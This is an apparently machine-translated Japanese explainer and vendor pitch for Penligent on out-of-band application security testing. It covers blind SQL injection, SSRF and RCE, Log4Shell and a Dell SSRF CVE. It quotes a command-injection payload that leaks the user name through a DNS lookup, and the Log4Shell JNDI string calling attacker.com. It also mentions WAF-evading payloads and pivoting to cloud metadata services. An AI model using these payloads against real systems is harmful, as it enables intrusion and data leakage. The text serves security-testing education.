OASTの意味と仕組み：ブラインド脆弱性検出におけるミッシングリンク

何年もの間、アプリケーション・セキュリティ業界は「リフレクション」モデルに大きく依存してきた。あなたはペイロード（入力）を送信し、サーバはレスポンス（出力）を送信します。レスポンスに構文エラーや特定の文字列が含まれていれば、脆弱性があります。これは、DAST（ダイナミック・アプリケーション・セキュリティ・テスト）のバックボーンです。

しかし、アプリケーションがエラーを飲み込んでしまったらどうなるでしょうか？インジェクションは成功したが、厳格なイグレス・フィルタリングや非同期処理のために、データベースのレスポンスがクライアントに送り返されなかった場合はどうなるのだろうか？

そこで OAST（帯域外のアプリケーション・セキュリティ・テスト） が重要になる。OASTの意味を理解するには、標準的なリクエスト／レスポンス・サイクルを超えて、アプリケーションが外部ネットワークと行う目に見えない相互作用に目を向ける必要がある。

OASTの意味とメカニズム

テクニカル・コアOASTとは？

オアスト によって、セキュリティテスト実施者は、攻撃者（またはテスト実施者）が制御するサーバにターゲットアプリケーションを接続させることによって、脆弱性を検出することができます。

標準的なDASTシナリオでは、フィードバックループは同期でインバンドである：

テスターターゲット・アプリケーション

OASTのシナリオでは、フィードバックループは次のようになる。 非同期および帯域外:

テスター にペイロードを送信する。 ターゲット・アプリケーション.
ターゲット・アプリケーション ペイロードを処理し、DNSまたはHTTPリクエストを実行する。 外部OASTリスナー.
外部OASTリスナー を警告する。 テスター.

このメカニズムが、唯一の信頼できる検出方法である。 ブラインド ブラインドSQLインジェクション、ブラインドSSRF(Server-Side Request Forgery)、ブラインドRCE(Remote Code Execution)などの脆弱性を、ほぼゼロの誤検知で検出。

OASTの意味と仕組み：ブラインド脆弱性検出におけるミッシングリンク

OASTペイロードの構造

この仕組みを視覚化するために、ブラインド・リモート・コード実行（RCE）のシナリオを考えてみよう。サーバーはコマンドを実行しますが、一般的な 200 OK メッセージが表示される。DASTスキャナはこれを "Safe "とマークするだろう。

OASTのアプローチは、DNSルックアップを強制するペイロードを注入する：

バッシュ

# ブラインドRCEテスト用概念的ペイロード

${host}変数は一意のOASTリスナードメインに置き換えられます。

user_input="; ping -c 1 $(whoami).x72b.oast-listener.com ;"`".

もしサーバーが脆弱であれば、次のコマンドを実行する。 ピング.オペレーティングシステムは root.x72b.oast-listener.com.OAST リスナーは DNS クエリを記録します。DNSクエリがは搾取の証明

比較分析：SAST対DAST対IAST対OAST

筋金入りのエンジニアにとって、その違いは次の点にある。 バンテージ・ポイント そして 信号雑音比.

特徴	SAST（静的）	DAST（ダイナミック）	IAST（インタラクティブ）	OAST（帯域外）
バンテージ・ポイント	ソースコード / バイトコード	ランニングアプリ（外部）	実行中のアプリ（内部エージェント）	実行中のアプリ（外部＋リスナー）
ブラインド検出	限定的（データフロー分析）	悪い（タイミング／エラーに頼る）	高（実行フローを見る）	スーペリア（実際の交流）
偽陽性	高い	ミディアム	低い	ニア・ゼロ
配備	CI/CDパイプライン	ステージング／プロダクション	エージェントのインストールが必要	ステージング／プロダクション（非侵入型）
主要用途	コードの品質と論理	目に見える回帰	DevOpsの統合	コンプレックス／ブラインド・エクスプロイト

ケーススタディ野生のOAST

理論的な「OASTの意味」は、影響力の大きいCVEを見ることで明確になる。

クラシックLog4Shell (CVE-2021-44228)

Log4ShellはOASTの分水嶺となった。この脆弱性はJNDI（Java Naming and Directory Interface）インジェクションに依存していた。

ペイロード ${jndi:ldap://attacker.com/exploit}。
OASTメカニズム： 脆弱なLog4jライブラリは、文字列を解析し、次のようなアウトバウンドLDAP接続を開始した。 アタッカー・ドット・コム.
検出： ログの解析に失敗した従来のスキャナーはこれを見逃した。OASTスキャナーは単にコールバックを聞くだけだった。電話が鳴れば、サーバーは脆弱だったのだ。

Penligentでサイバーセキュリティを無料で学ぶ >> （英語

モダン：デルUCCエッジブラインドSSRF（CVE-2025-22399）

2025年に向けて、OASTは近代的なインフラにとって不可欠な存在であり続けている。最近の例では CVE-2025-22399 (CVSS 7.9)、デルの UCC Edge のブラインド SSRF。

ベクターだ： 認証されていない攻撃者が、「顧客のSFTPサーバーを追加」機能に悪意のあるURLを注入する可能性がある。
盲点： アプリケーションは取得したURLの内容を返さなかった(これは古典的なSSRFになる)。その代わりに、単に内部でリクエストを処理しました。
OASTソリューション： SFTPサーバーのアドレスをOASTリスナー（例． sftp://oast-domain.com)、テスターはデル・サーバーからの着信接続試行を観察することにより、脆弱性を確認する。

進化：手動リスナーからAIエージェントへ

歴史的に、OASTは手動または半自動プロセスであった。ペンテスターは以下のようなツールを使用する。 バープ・コラボレーター またはProjectDiscoveryの インターアクトシュ.ペイロードを生成し、それをスプレーし、リスナーからの "ping "を待つ。

しかし、現代の攻撃対象領域は、手作業で相関性を調べるにはあまりにも広大である。そこで、AI主導のセキュリティがパラダイムを変えつつある。

OASTの意味

従来のスキャナーの限界

標準的なスキャナはOASTをバイナリ・チェックとして扱う：「DNSコールバックを受け取ったか？はい／いいえ」。彼らはしばしば苦労する：

文脈連鎖： OASTの確認を使って第2段階のエクスプロイトに軸足を移す。
ポリモーフィック・ペイロード： WAFを回避するために、OASTペイロードを動的に適応させる（例えば、DNSリクエストをネストされたJSON構造内にエンコードする）。

AI主導のOASTへペンリジェント

そこで、次のようなプラットフォームが登場する。 ペンリジェント ギャップを埋める。Penligentは、単にスクリプトを実行するのではなく、以下のことを理解するAIエージェントを採用しています。意味 OASTの相互作用

Penligentのエージェントが特定のパラメータからDNSコールバックを検出した場合、単にそれを報告するだけではありません。コンテキストを分析します： "profile-image "アップロードフィールドからDNSコールバックを受け取りました。これはブラインドSSRFを示しています。このチャネルを使用して、内部クラウドメタデータサービス（IMDS）のマッピングを試みます。"

人間のシニア・ペンテスターが使用するロジックを自動化することで、帯域外信号を内部ロジックと相関させ、AIエージェントはOASTを受動的な "リスニング "テクニックから能動的でインテリジェントなエクスプロイト・ベクターに変える。